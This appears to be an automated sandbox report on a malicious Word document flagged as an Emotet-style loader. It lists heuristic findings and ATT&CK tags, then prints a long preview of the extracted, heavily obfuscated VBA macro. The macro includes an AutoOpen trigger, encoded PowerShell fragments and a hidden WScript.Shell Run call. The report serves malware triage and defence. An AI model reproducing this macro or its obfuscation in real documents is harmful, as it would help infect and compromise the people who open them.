MALICIOUS
310
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1059 Command and Scripting Interpreter
The sample is a malicious Office document containing VBA macros. Heuristics indicate the presence of AutoOpen macros, WScript.Shell usage, and CreateObject calls, strongly suggesting the execution of arbitrary code. The script's obfuscated nature and use of WScript.Shell point towards a downloader or dropper functionality, aiming to fetch and execute a secondary payload.
Heuristics 10
-
ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
End Select cklOjCwDX = "WScript.Shell" Select Case FOPda -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
End Select CreateObject(cklOjCwDX).Run nuqjCrOZVwdcEc + Chr(VBA.vbKeyC) + uwWSPfbGmZk + rjRAnlNTUNLC + LFilssj, vbHide Select Case cDVPVm -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Attribute VB_Name = "oKwJVAQbMAMXT" Sub AutoOpen() On Error Resume Next -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 58431 bytes |
SHA-256: 578ac74e15b312b9f20610002d3f1b014357846123ed99507d28270bffef500b |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
708 of 1217 identifiers look randomly generated (e.g. 'U2EAcDAyAQMAkDAmBAZAYDAjBgNAkDAhBQMAIGAh') — consistent with name-mangling obfuscation. Carved artifact contains 21 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "jhlLoSZRMkp"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "mPvnDXU"
Function BwPkCJQdP()
On Error Resume Next
Select Case dzovG
Case 26319
BinpIY = ChrB(YNoHz)
YfcCD = XjLoj
Case 48804
iaZXRO = Rnd(aUvzW)
hhdVRz = Cos(XozXls)
End Select
dfQudfkWDuj = jhluPR("vqIi9( ek- gnirT5uIn54aErUcES-ottReVNoc | '==AAxAwYAUDAhBAOAIDA2AwMAYDA3AANAUGAiBgNAYDAlBAZAUGA1AwYAgDA4AwMAkDA0AgMAYDAzAQZAIDAxAwMAEDA5AQMAcDA2AQOAkDAiBgZAYGAkBgZAYDA1AwNAUGA0AwMAMDAmBQOAUGA1AgYAcDA5jXv", 4 + 0, 190 + 0)
Select Case qMppD
Case 31278
qqzqWs = ChrB(zEjijL)
pFpXm = KtdClZ
Case 21586
NiGtGR = Rnd(riiuEK)
kNsFh = Cos(AGARRj)
End Select
Select Case zfCADZ
Case 45274
oBtJYG = ChrB(tzqSTI)
wzbzT = kEHZtd
Case 76404
kZCfL = Rnd(GmOuR)
nAlprA = Cos(liDYGF)
End Select
NHGXohlEY = jhluPR("2RpKYAIDA0AQOAgDAyAgNAUGA5AQMAEDAhBwNAgDAhBQMAMGAzAANAQDA1AwMAADA1AgYAIGAlBQZAQGAxAwMAcDA5AQOAUGAxAAOAcDAiBwYAYGAjBgNAkDA4AAkZh5B", 6 + 0, 120 + 0)
Select Case rktTPv
Case 36647
JannI = ChrB(HKkhf)
ujSRis = CkhAwa
Case 40873
WtviW = Rnd(ZrKCE)
kdXSrb = Cos(vHSbl)
End Select
Select Case wladWF
Case 73449
LjFkTD = ChrB(zptGCk)
CdBTo = szLHwu
Case 41019
AlnGVc = Rnd(LLcwSa)
CntdK = Cos(jzbCQw)
End Select
jTGqkwN = jhluPR("%5uIn54aRfnoGAlBAOAEDAjBQOAcDA1AQYAkDAlBQNAUDA1AAOAYDAiBgZAcDAhBwMAEGA5AAMAEDAwAwNAUGAhBQOAYDA3AQNAIGAkBgZAIGAlBAMAUDAiBAMAUGA5AgZAMGAxAQOAIDAmBQOAMDAjBQMAkDATjh", 4 + 0, 146 + 0)
Select Case OUwmZ
Case 65389
zDFzjH = ChrB(qRYXV)
dvXOV = cNCJlp
Case 47908
irNqXk = Rnd(PwitwD)
tjCfvh = Cos(SwkRq)
End Select
Select Case nwrbk
Case 66885
dZumZ = ChrB(csumNj)
QisSz = ZsEpB
Case 24028
EbNij = Rnd(KBlXfA)
inmORN = Cos(woEDZb)
End Select
sBVTz = jhluPR("ipQZAcDA0AANAcDAyAwMAQGA0AQMAQDA2AgYAQDA2AQZAIGAwAAMAIDA5AgMAMDAwAQYAgDAlBwYAgDA1AAMAMDAlBgZAgDAzAwNAYDAjBwNAQDAwAQYAEDAhBQZAIGA1AgYAkDAlBQOAQDA3AgZAcDA1AQOAcDAhBAZAEDAkBQMAkDA0AgYAQGAxAQOAQGAzAQNAXOiC", 5 + 0, 195 + 0)
Select Case JQYjs
Case 49201
fBiQG = ChrB(WUfLMR)
rlGqY = kQPWKE
Case 9650
AlMnn = Rnd(bwmIzL)
FcJtrI = Cos(XXKhL)
End Select
Select Case GDzwt
Case 26753
BiHME = ChrB(qdodV)
DnXwk = mFabNc
Case 40124
CiuzMP = Rnd(wzkFOo)
wSCbil = Cos(WjHMGH)
End Select
FliLLMdziv = jhluPR("uiLYAwHA9AQPAcGA3Bg5uIn54aDG", 4 + 0, 16 + 0)
Select Case jZRir
Case 49418
HiqQG = ChrB(HnnrWB)
IHZmuj = jznkGI
Case 75729
ZSaWO = Rnd(okLKcJ)
ivPqEM = Cos(YAfkIk)
End Select
Select Case icZCj
Case 98334
pmkWf = ChrB(TbTtr)
SriuXG = hqUic
Case 58304
NBczJZ = Rnd(tKDwE)
GwNOP = Cos(NnYAiB)
End Select
mZcMpLETYJ = jhluPR("nhEGMAgZAEDAzAgMAMDAwAQYAIGAxAQOAUDAhBQYAcDAiBQOAADAiBgYAkDAxAwMAMDAzAQZAYGAxAgYAMDAmBQNAUGA2AQNAADAhBgZAQGAyAwNAUDAyAAZAQDAxA4U%", 4 + 0, 121 + 0)
Select Case ZSRVHI
Case 85538
oRzVj = ChrB(XZjbz)
ADkdF = tRooB
Case 88788
MAlbpv = Rnd(MBSfOs)
QpOsZk = Cos(vVhnPs)
End Select
Select Case SpGua
Case 56436
Ivjjj = ChrB(tbQXt)
lwPbOF = LUIkP
Case 82486
jSmRI = Rnd(JafHEL)
juHssk = Cos(jOCOsp)
End Select
nfHJtOXc = jhluPR("zzM0GZAcDAzAgYAMDA3AANAYDAkBwYAIDAhBQYAUGAlBgMAQGAhBgMAEGAwAAMAcDAjBAOAQGAkBwYAIDA2AwYAEGAwAAOAgDA1AwMAIDAlBgMAADAjBgYAEGAiBwNAUGA2AwNAUGAlBwMAMDA1AQYAUDAwAwMAIGAwAAOAkDAzAQNAIGA0AgYAQI5uIn54a", 3 + 0, 179 + 0)
Select Case SEAKT
Case 84927
laozPK = ChrB(KSHXCa)
RMPrf = XVPYYS
Case 25647
WfwkTD = Rnd(TTtdZU)
wvrqO = Cos(AskTo)
End Select
Select Case crMQkb
Case 50159
fnijY = ChrB(wusTS)
osnaRC = uTtOJ
Case 20330
HisaF = Rnd(SfFIf)
JdRdu = Cos(XdtkE)
End Select
RronIfzkj = jhluPR(",OSp2YAYDA4AwNAcDA0AQNAEGA5AQZAEDA3AwNAIDAjBwNAEDA3AQOAMDA3AgNAcDAyAANAQGA4AgMAYDA4AgNAUG6", 2 + 0, 84 + 0)
Select Case whNful
Case 46798
VAFNC = ChrB(OKHIm)
vGtkdp = tljdWd
Case 11915
XvnlUj = Rnd(pIYDb)
HNWkzZ = Cos(socBEm)
End Select
Select Case taIHjC
Case 20623
SMOWHf = ChrB(wiICTV)
nwMCsT = dWmVw
Case 31453
XAbtX = Rnd(Rdvtsr)
lHNXp = Cos(wmMud)
End Select
bDuQnY = jhluPR("GItzDA3AQZAMGAjBgYAMGA0AQYAgDA4AwMAUGA1AAZAUGAzAgZAgDAyAgZAEDA0AQYAEDAyAAOAIDAkBwYAYDAyAgYAQDAzAANAADAiBgZAIDA0AwMAgDAiBAOAYGAlBwYAIGA2AwYAYDA2AAZAMDAxAAOAIDAzAQOAkDA4AwYAQG%07", 4 + 0, 169 + 0)
Select Case rlppb
Case 1870
Pjadh = ChrB(vWdKA)
KBAUV = PfnSR
Case 21545
wjjOc = Rnd(TsjcjL)
jOuoUc = Cos(bSIqR)
End Select
Select Case jKFTdi
Case 37285
nsQojE = ChrB(nsfojL)
sHWcsG = ipawqW
Case 2003
BVuwSQ = Rnd(HWLJd)
UOKfa = Cos(RwzBqM)
End Select
GMUJjU = jhluPR("zE6NAIDA5AAMAIDA4AwNAUDA4iE", 4 + 0, 21 + 0)
Select Case IDprqi
Case 89624
qKujt = ChrB(ozzQic)
KbQRPi = fEUEjo
Case 15837
SiVbi = Rnd(dDPvh)
dwzkH = Cos(uzcZaa)
End Select
Select Case ftwJa
Case 90227
UwDzR = ChrB(LHfuRi)
cKpTTT = wwimw
Case 82114
zNzrkO = Rnd(USzhET)
Bwfnzm = Cos(UEcpHW)
End Select
ntlWPCEBdLW = jhluPR("J3zoAyAgYAUDA0AwNAIGAyAQMAQDAmBQZAcDA0AQZAQDA4AAZAgDAyAgMAIGAwAAMAMDAwAAZAADA1AANAQDAlBANAgDA0AwMAQDAiBQZAEGA2AQYAUDAkGTS", 4 + 0, 114 + 0)
Select Case XUQCa
Case 99618
uhDhT = ChrB(IrsmOz)
uAzwwD = fJVBcs
Case 44456
wjidTT = Rnd(ObGiE)
dLpbHc = Cos(XUSEXG)
End Select
Select Case RwzjtN
Case 8505
joqiUH = ChrB(VzSrdf)
BzLHO = DzkRS
Case 93040
pksqz = Rnd(AiJrv)
fhNAWa = Cos(PwwzXm)
End Select
LjQdGDkB = jhluPR("whG4q,SzAwNAADAxAAOAEDAkBwMAYGA1AQZAADAlBQZAIDA2AgZAMDAwAQNAQDAkBQOAQDAkBQNAADAjBwMAEGAwAwYAADA3AAOAEDAyAQMAMDAiBwNAEDA0AAOAMGAmBQMAQGAmBQMAIDA1AQMAYGA0AgYAI2", 3 + 0, 149 + 0)
Select Case ikjDZQ
Case 46925
tlEctR = ChrB(msIQIj)
pzNqrj = tmUDw
Case 63849
BFSfa = Rnd(ncvuhK)
JDpHdP = Cos(uhpiYr)
End Select
Select Case RNmqtL
Case 28776
oabnXZ = ChrB(aIutrw)
OzlYAj = koFjT
Case 89364
HZduPM = Rnd(sGEaz)
BbcCz = Cos(qznFUK)
End Select
wSajvE = jhluPR("%ZMp6ofNAADA4AAOAEDAwAgYAMGA5AgNAYDAlBgZAQDAyAQZAUDA2AQOAUDAyAgZAgDA3AgMAgDAyAQNAADAxAgYAUGAlBAZAgDAhBAZAuz", 3 + 0, 98 + 0)
Select Case SDmWHD
Case 60192
SiRzb = ChrB(aVtjwC)
SJLCh = EcUUIj
Case 70823
wGkzXS = Rnd(jsLDX)
PduYWH = Cos(ztbUa)
End Select
Select Case wLbhAl
Case 79768
pEzic = ChrB(uFdFC)
JcAIL = dscbi
Case 13277
ncJpv = Rnd(vhMjia)
vjwHr = Cos(LkiVKS)
End Select
LKiGcv = jhluPR("Nhrt5uIn54aboTGNirT5uIn54aERUceS::]LAHSRam.5uIn54aecIvrESPOreTNI.EmitNur[(RT5uIn54abGnIrT5uIn54aoTRtP::]LaH5uIn54araM.SecIVRe5uIn54apOretNi.eMitnUR[ ( ( NoIS5uIn54aErpXe-EkOVNIoll,", 5 + 0, 126 + 0)
Select Case jHziN
Case 49772
NobkQh = ChrB(HjwtR)
uVwtUj = vjJGwW
Case 50111
nkiVI = Rnd(DGFNrJ)
EEhct = Cos(aOLDJi)
End Select
Select Case VGUHZ
Case 41983
PnHJsm = ChrB(lRWuw)
tYusdY = iOLPT
Case 1999
nzkwQJ = Rnd(sqjFz)
RWDRKH = Cos(izLbdB)
End Select
UOCLZaiucUX = jhluPR("lA2TcyAAMAADAyAgNAUGAxAAZAADC", 2 + 0, 23 + 0)
Select Case TBcsp
Case 82984
cnjai = ChrB(hAiKmj)
jHKtEM = BqlJS
Case 30159
prNqQG = Rnd(ojWrjV)
iPAoz = Cos(kMrin)
End Select
Select Case GSnDj
Case 7495
zPPpw = ChrB(mAzAqQ)
zwjBKE = iYTwv
Case 29151
JToii = Rnd(AoFcZ)
riiAJ = Cos(bsUJm)
End Select
pBvvL = jhluPR("cXKOAUGAxAgNAUGA2AQZAIDAxAwMAcDAjBQZAMDAiBAZAIGA4AQZAMGAyAgMAIDA2AAMAYGAlBQMAADA5AwYAUDAzAwYAcDAlBgMAUDA4AQOAADA0AQZZ,,Sj", 6 + 0, 113 + 0)
Select Case scnUZw
Case 36565
hkdhKW = ChrB(CuIrD)
zNlzYJ = UWtAjC
Case 73216
ZjPIJ = Rnd(jGABpn)
YwLRiJ = Cos(OCVAmY)
End Select
Select Case SaBoQ
Case 2074
fNiFn = ChrB(FRciJf)
SKHofn = iWiSE
Case 50677
wtcwr = Rnd(tjfsAQ)
GsOMjh = Cos(iHSMJ)
End Select
mULrHWMmN = jhluPR(",7eAEEA3BgUAoFA3BAWAwGA3BANAQDAtBwYAUFAPBgbAkHADBQSA0GA8BgM5435a05061b3143240f3476111d29467'($ (%uJ2%R", 7 + 0, 94 + 0)
Select Case ffIiMB
Case 24537
HXzkRn = ChrB(ifOnO)
PlIWl = aiqaP
Case 79000
MObBf = Rnd(EDwUOb)
twzcD = Cos(uYQtz)
End Select
Select Case vjtPNM
Case 19332
rPBFL = ChrB(zsViB)
Itiwl = wpnMNr
Case 35952
aQiqAr = Rnd(mVnZop)
jbKGcz = Cos(BEziiP)
End Select
MBWmQMR = jhluPR("%fZAjBQOAIDAhBgMAQGAiBgYAMGA5AAOAgDA0AAZAMDAzAwNAUGAyAgZAQDAmBQNAIGA2AgYAYGAiBQNAQDA0AQZAQGAwAQMAkDA3AAZAQGA2AwMAUGAwAQMAUDiX2", 4 + 0, 120 + 0)
Select Case jfCKm
Case 40580
jKfdKi = ChrB(XrXwq)
ILBGP = FZMlM
Case 35490
VDqkPC = Rnd(BARic)
SOiMa = Cos(rMLXdv)
End Select
Select Case Nrvzt
Case 86569
EEHDHW = ChrB(VjIKf)
jRLJi = icFrab
Case 88664
kXdbb = Rnd(vjNrj)
vRokL = Cos(Wofvj)
End Select
oYBISaAVCiC = jhluPR("4IAEGAmBAOAcDAmBA.4Sj", 5 + 0, 15 + 0)
Select Case SGOQzN
Case 63791
NQmwDj = ChrB(KbAEUa)
rMnUj = EFaor
Case 83369
UFihA = Rnd(Gwifq)
iiLMfr = Cos(LAOCd)
End Select
Select Case QvFmd
Case 66430
dmcFi = ChrB(LpkEa)
fHprLE = wDcIC
Case 55304
Sajus = Rnd(MtztmD)
cEuof = Cos(iUGbD)
End Select
sqDCjza = jhluPR("U2EAcDAyAQMAkDAmBAZAYDAjBgNAkDAhBQMAIGAhBgNAUGAiBgZAQDA0AgYAYGA1AwNAIGAjBQpIQ%", 5 + 0, 70 + 0)
Select Case iKlEBd
Case 50837
NBkFqL = ChrB(hmJwFH)
qsIndz = AMzjzK
Case 53630
owQLbF = Rnd(UpzTOz)
wiznwU = Cos(vNAbiN)
End Select
Select Case DMQKYt
Case 35610
LUYbdz = ChrB(iDiuX)
ZhYnzI = MrtNZ
Case 85069
MoVrP = Rnd(oTSfI)
kqDin = Cos(iRifsW)
End Select
JVjIDbPYNY = jhluPR("vXRAxAAOAkDA0AwMAIGAiBAOAYGA2AgNAIGAwAAMAQGA47C,", 4 + 0, 42 + 0)
Select Case kwlUb
Case 21969
lwGph = ChrB(fGqFOs)
lYfINF = rbWjww
Case 35482
UCzrTH = Rnd(ojNwzD)
bYQzrn = Cos(RdGWh)
End Select
Select Case XZMiXV
Case 73988
phpCG = ChrB(BGmAXk)
TFZFpo = kGjJni
Case 69408
wwlbq = Rnd(tCYLwH)
mjlCSD = Cos(TnZhh)
End Select
WZBzO = jhluPR("v.IgZAEDA1AwMAEDA3AgYAIGAjBQOAIGA0AQNAUDA1AwNAYDAwAgYAIGA4AQYAIGA4AgNAgDA1AAMAUGAwAAOAUGiiC", 4 + 0, 85 + 0)
Select Case RjwjPc
Case 90006
IpOvuo = ChrB(DAutj)
wWzGU = jCLXEu
Case 93841
KEswUM = Rnd(iuWGXP)
QmfnAa = Cos(MAZuB)
End Select
Select Case NvWJn
Case 38807
JBNUJN = ChrB(tEclbI)
Swwvw = pmIKw
Case 21147
MiahZW = Rnd(QsuHwE)
wqdkd = Cos(wuwXNq)
End Select
EwsGTJGi = jhluPR("w2w,5pYGAhBQNAYGA2ASu", 3 + 0, 13 + 0)
Select Case DXtDXw
Case 55846
OivMF = ChrB(kaCrwr)
tviZT = lRjCTi
Case 49050
twqjwb = Rnd(hMiYYA)
UvjPw = Cos(JcOiES)
End Select
Select Case EAwpB
Case 99382
XTjWt = ChrB(wBjiA)
OwBlwu = bkwbW
Case 13779
UwzGi = Rnd(zPDXPG)
RLKRIF = Cos(SDCOC)
End Select
YbrPiri = jhluPR("hz5A2AgYAYDAkBAOAQGAhBwYAMDA4AgNAQGA1AgYAYDAhBAOAUGAjBQZAUDAzAgNAcDAjBQZAEDA2AwYAYGAmBQZAYGAwAwMAQGA4AQMAQDAzAQMAIDA3AQOAEGA3AgYAMGAmBAZAIGA5AQDBC", 4 + 0, 140 + 0)
Select Case zXjarN
Case 28824
uwEZzI = ChrB(wtdVpU)
QZfTQA = RviEot
Case 48480
cfCrmX = Rnd(GrIzI)
KYtMZ = Cos(HKuYw)
End Select
Select Case MmJUN
Case 92265
fYiOi = ChrB(siGFYi)
vBzbC = jMqtj
Case 19241
qBqNL = Rnd(jQwXF)
SHwjQr = Cos(OiVKoh)
End Select
MiSDlLrNLM = jhluPR("kH7%MGAwAQZAUDAwAgYAMGAkBANAIDA1AwNAEDAwAQZAUDAlBANAMDAkBgNAIGAiBwYAYGA5AwYAYGA4AAZAEDAhBQZAMDAyAwYAkDAyAAOAYDAkBgZAEGAwAwNAMGAiBQMAQDAhBAOAEGA4AQYAkDAiBgNAI2XOXq", 6 + 0, 153 + 0)
Select Case BMDoi
Case 96263
Wkqot = ChrB(Punwis)
jDldaC = viUrBf
Case 86423
XMHsH = Rnd(wWIvWw)
TqWjww = Cos(zbaNcM)
End Select
Select Case uKiiY
Case 33177
scQsw = ChrB(ksnzAm)
acDXV = jZWoLq
Case 56715
OMYDf = Rnd(YpDaH)
vMcBSj = Cos(AzSGKJ)
End Select
kzrjdIb = jhluPR("wwk0AgYAEGAmBgYAMGAwAANAYGAzAgZAUDA1AgYAMGAzAAMAEGAxAgMAQDAkBAOAcDA0AgMAQGAiYvQ5O", 6 + 0, 73 + 0)
Select Case hqWoFC
Case 40288
VfPtUk = ChrB(lYdQti)
wUWbC = TwGNuh
Case 38529
SPVEHV = Rnd(wmYPDE)
tdtQT = Cos(uBRdA)
End Select
Select Case MhKSHl
Case 98895
dtzdb = ChrB(wNwbB)
DiPtZ = bIORR
Case 39989
jnlrDo = Rnd(WUdhEh)
CZhRBw = Cos(jiRQs)
End Select
nqrfFM = jhluPR("phBgZAkDA2AA7Sv4GEX", 8 + 0, 10 + 0)
Select Case KqpMb
Case 55053
uQKWsn = ChrB(hjAip)
RYjjzQ = cAFUa
Case 22570
lfiRGb = Rnd(umPLZ)
rmzij = Cos(zkmHIN)
End Select
Select Case FKXdl
Case 6508
wliPlw = ChrB(InUTYN)
FKTZX = qrshG
Case 41122
IhQbK = Rnd(LWszQ)
rNPVam = Cos(aFzAE)
End Select
ANHfhAKz = jhluPR("DA6XwQABgYAgDA4AgYAUDA5AgYAQGA0AAZAgDA3AgNAIDAiBAZAIGAiBgMAMGA4AwNAQGAxAwMAcDA2AQMAYGA3AwMAIDA2AQZAEGAyAgYAQDAmBAMAADA4AwNAcDAjBQNAUDA1AQMAADAkBANAcDAjBgMAIGAjBQZAYDA0AwYAkDA1AANAYDAmBgYAMDAjBo", 2 + 0, 185 + 0)
Select Case OpzGt
Case 1909
PjYbX = ChrB(IGChNK)
dfAaV = vwvJJ
Case 63386
XvbNP = Rnd(wHfHoo)
hdBXYm = Cos(BaipXl)
End Select
Select Case nfzME
Case 40614
HGQfG = ChrB(Nufqmn)
cmTiM = pVrrc
Case 41606
oKIvqw = Rnd(wmrWL)
OZvHB = Cos(jmwBLP)
End Select
oizjqW = jhluPR("FBkFAwNAcDAmBAZAQGAGG", 3 + 0, 15 + 0)
Select Case vfjQO
Case 76672
WuDlj = ChrB(qkSqu)
XBuPZk = imzrIw
Case 62679
AXRVci = Rnd(oTWKX)
IwUGG = Cos(rzBQG)
End Select
Select Case OjTDX
Case 71607
WUmwV = ChrB(iOFVcf)
FaMiqQ = wZkif
Case 70117
ibuRS = Rnd(VItBu)
Ljjncb = Cos(junTo)
End Select
hfbMYzBlU = jhluPR("2XCJAADAxAgYAQDAyAANAUDA5AwNAYGA3Aw,io", 4 + 0, 31 + 0)
Select Case GhXzk
Case 7644
khEnK = ChrB(KKHzh)
kQFUP = HHHDWq
Case 15218
ELnwL = Rnd(zdpif)
cXRNYw = Cos(HEwBN)
End Select
Select Case sMnRHX
Case 16292
MXEPQB = ChrB(FnjAE)
mvEGjn = VjdrvW
Case 79616
JETAcQ = Rnd(hKmTcZ)
EFzOoF = Cos(jKXkZ)
End Select
zqpOihYvf = jhluPR("AIhmNAYGAzAgZAYGA2AAMAIGAzAANAYGA5AwYAADA3AANAADAjBQYAEGAwAwMAMGA1AAZAQGA2AAZAMDA2AAMAgDAlBwYAgDA3AANAEGAkBQOAkDAyAQZAgDAxAQYAMGAxAgZAYGAmBQZAgDAyAwNAMGA1AAOAUDA4AQNAgDAlBANAYDA0AwNAH9q", 4 + 0, 178 + 0)
Select Case fuNTt
Case 23738
viQzb = ChrB(FNtTPL)
YcYuh = jQZtvQ
Case 6583
BnzSa = Rnd(ABVpz)
HzDprH = Cos(PqDVT)
End Select
Select Case qLVMhr
Case 2847
Hoitwt = ChrB(nVdGoU)
VrWpcV = oLkFJ
Case 90093
KfCdFc = Rnd(jvORz)
bMCszP = Cos(qiqsO)
End Select
mhCzNZVA = jhluPR("6Rj5uIn54a7AgMAEGAzAwNAMGAlBQMAYGAhBAMAYDAyAgNAgDAwAAZAYDA2AAZAIGAiBgMAIDAzAANAEDA3AQMAEDAwAgMAUDAmBQNAMGA2AAZAADA3AwMAUGAhBwMAYDAlBANAkDA1AwYAEGAxAgZAIGAlBwWMph", 5 + 0, 146 + 0)
Select Case ITcuop
Case 98280
cqadj = ChrB(QovIXf)
vbIsFt = kjoKPZ
Case 38574
EBZcwQ = Rnd(VcPPXw)
iiUjr = Cos(rTBjv)
End Select
Select Case RJGQc
Case 27875
PwazGs = ChrB(FYlTdi)
SuHKAf = wSwID
Case 57880
opJFNZ = Rnd(BTvHJ)
oNiHH = Cos(JzPwFc)
End Select
ATwBwiRK = jhluPR("7iMAUGAjBgNAcDAzAQYAgDAxAQYAgDAiBQZAYDA5AgYAcDAkBgNAADAzAgYAEDA2AQMAMGAyAgMAQGAmBAMAADA5AgMAIDAwAwNAkDA3AQYAUDAlBwYAcDA4AwMAADAhBANAQDA3AgMAMGAmBwM6wjp", 5 + 0, 145 + 0)
Select Case UQfcoC
Case 27221
QjcOP = ChrB(oQbMD)
dhljqB = VhZqD
Case 55616
FuVqGE = Rnd(wXiGtr)
UinmCl = Cos(mfwmm)
End Select
Select Case LbLiX
Case 96710
CprGP = ChrB(RKzbwK)
votRX = WwMzCX
Case 98367
oQOXQ = Rnd(tIwoP)
tOiMB = Cos(kbIXh)
End Select
mAfsnG = jhluPR("7mc11..085j4R", 5 + 0, 6 + 0)
Select Case KcbCqq
Case 78602
QSdtiE = ChrB(mUnsFB)
BHPzz = nXQRjU
Case 23609
wqRFzh = Rnd(bloizt)
GUictD = Cos(TmqsLv)
End Select
Select Case owujBL
Case 25796
rHWLji = ChrB(wbcVY)
BFTFsv = zPNwuZ
Case 77312
fTlXQ = Rnd(jmCFAW)
zUdZJj = Cos(raiJQO)
End Select
wRjvsDlY = jhluPR(".09llOAYDAiBgMAYDA5AgZAIDA4AAOAQGAlBQOAkDAyAQZAEGA2AgZAgDA2AQMAUGAxAQNAIGA0AANAIGA1AAZAADA1AQOAQGAkBwNAUDAiBgYAUDAxAgYAkDAhBAZAYGA2AANAQDA0AAMAYGAxAQZAkDA5AANAQDAlBwNAYGA4AAMAUGAlBAOAQGlz", 3 + 0, 179 + 0)
Select Case btaRGp
Case 16148
HrzIQ = ChrB(TRzrZ)
AujWl = BSFpbH
Case 2603
Hsbotj = Rnd(jNmbAT)
XJiSq = Cos(jjJDfQ)
End Select
Select Case Xzbso
Case 35131
HbWONj = ChrB(rBoQNo)
ZGCPA = HLNmAD
Case 47274
wqOSGO = Rnd(IUCpkO)
zwJvD = Cos(wrZdn)
End Select
HCRqFZSQJ = jhluPR("wR0ozDAyAAMAADAkBwNAkDA3AQYAEDAkBwNAcDAyAgMAQGA3AgYAEDAmBQYAkDA3AANAQGA4AAMAUDAwAAMAADAkBwYAMDAhBQZAQDA1AAMAEGAiBgYAgDAlBgMAEDAmBQNAMGAmBgYAYDA5AAOAYDAjBQZAEDA3AgZAMDA5AAMAMDAiBAZAMGA2qf", 3 + 0, 179 + 0)
Select Case jvOkN
Case 19306
CuKaz = ChrB(aPRlz)
QkvLO = FAJlFQ
Case 71193
niuuko = Rnd(YLRoYL)
dzjFZD = Cos(jnjzH)
End Select
Select Case HYtpft
Case 93535
Xathwm = ChrB(niihos)
jHcUii = lLjIkA
Case 36887
zNTrZj = Rnd(VWMpoq)
pwMkjr = Cos(MKLSsm)
End Select
hNAozlBi = jhluPR("4,, ) ) ) )))17RQ", 4 + 0, 11 + 0)
Select Case MZNlR
Case 78601
ROwSrv = ChrB(GItptw)
kvAUb = kCHZh
Case 95673
IzwDW = Rnd(DYhPS)
wAGCRc = Cos(ptciMQ)
End Select
Select Case njFOm
Case 48383
jGUIC = ChrB(HitLQ)
IbaIWY = qFIzK
Case 55386
EdrJBo = Rnd(aPqVOA)
JLtPW = Cos(ciMYj)
End Select
kHXuj = jhluPR("OHTHkBwNAMGA1AAOAQGAyAgYAQGAjBQYAYGA2AgYAQGA4AANAgDAxAQMAMDAkBAZAADAyAQMAUDAkBAZAADAlBQYAYGAlBQNAUGA4AQYAYDA5AANAYGAiBAOAMDAlBAZAkDAjBgMAYGA5AgMAUGAiBwYAIGAzAQMAMDAiBwNAMDAwAQNAkDA4AwNAcDAzAw3kzTT", 6 + 0, 187 + 0)
Select Case OiGXGK
Case 60076
PinkJ = ChrB(ziMjnH)
GjtPj = FVZQTa
Case 23884
vUrkKj = Rnd(BfYJGu)
uSdkb = Cos(IBMIX)
End Select
Select Case siSFT
Case 98960
wIKZv = ChrB(OsRfS)
SIdtR = HJIYNq
Case 40072
dKSYwa = Rnd(cKaOMO)
VRpFUd = Cos(DPoAPL)
End Select
sdDKX = jhluPR("9hX,LZRCAQZAgDAh", 2 + 0, 7 + 0)
Select Case GXuTEG
Case 52861
ashrf = ChrB(wCiEcL)
qjIWrt = udXjOo
Case 42034
juIHVR = Rnd(wXczGF)
KwmAB = Cos(olzNN)
End Select
Select Case qsbiDH
Case 77565
vsbTmi = ChrB(hVjBY)
PowroR = qmJjZ
Case 10682
kSYMzZ = Rnd(jtaHj)
mdrKmb = Cos(bEdmPp)
End Select
dYzlwVwmD = jhluPR("JzAiBAMAIGAmBgNAQDA2AAOAEDAjBQNAkDA4AQMAgDAwAAMAYDA5AQNAcDAzAQNAMDA4AgYAYDAwAwYAUDAyAwYAUGA5AwNAQDAxAQYAEGA1AgYAUGAkBgNAMGA5AAS YJ", 5 + 0, 124 + 0)
Select Case FIjuth
Case 96018
PzXDwP = ChrB(uYkEmb)
vwtzK = fplwI
Case 97498
XKfNC = Rnd(EOtnid)
rKFCKC = Cos(sNkAw)
End Select
Select Case rGluX
Case 5368
HUXwBo = ChrB(pUWzEY)
bmdQwa = lKksZS
Case 69758
mlRaIi = Rnd(PDIZPh)
wKPaYP = Cos(HdZcu)
End Select
NtiNTQrWj = jhluPR("AEXi5uIn54aEGA5AwMAYGAiBQNAcDAlBgYAQDAkBwYAEGA2AANAQDA5AANAIDA0AwNAUDA2AQYAg2", 2 + 0, 65 + 0)
Select Case KmGbV
Case 10481
ilhdP = ChrB(vWZIY)
CuOac = uVOiIs
Case 96197
MWdzj = Rnd(KbJLd)
LITwiV = Cos(SsbwM)
End Select
Select Case hHKqtL
Case 25852
tjChN = ChrB(rIzsqG)
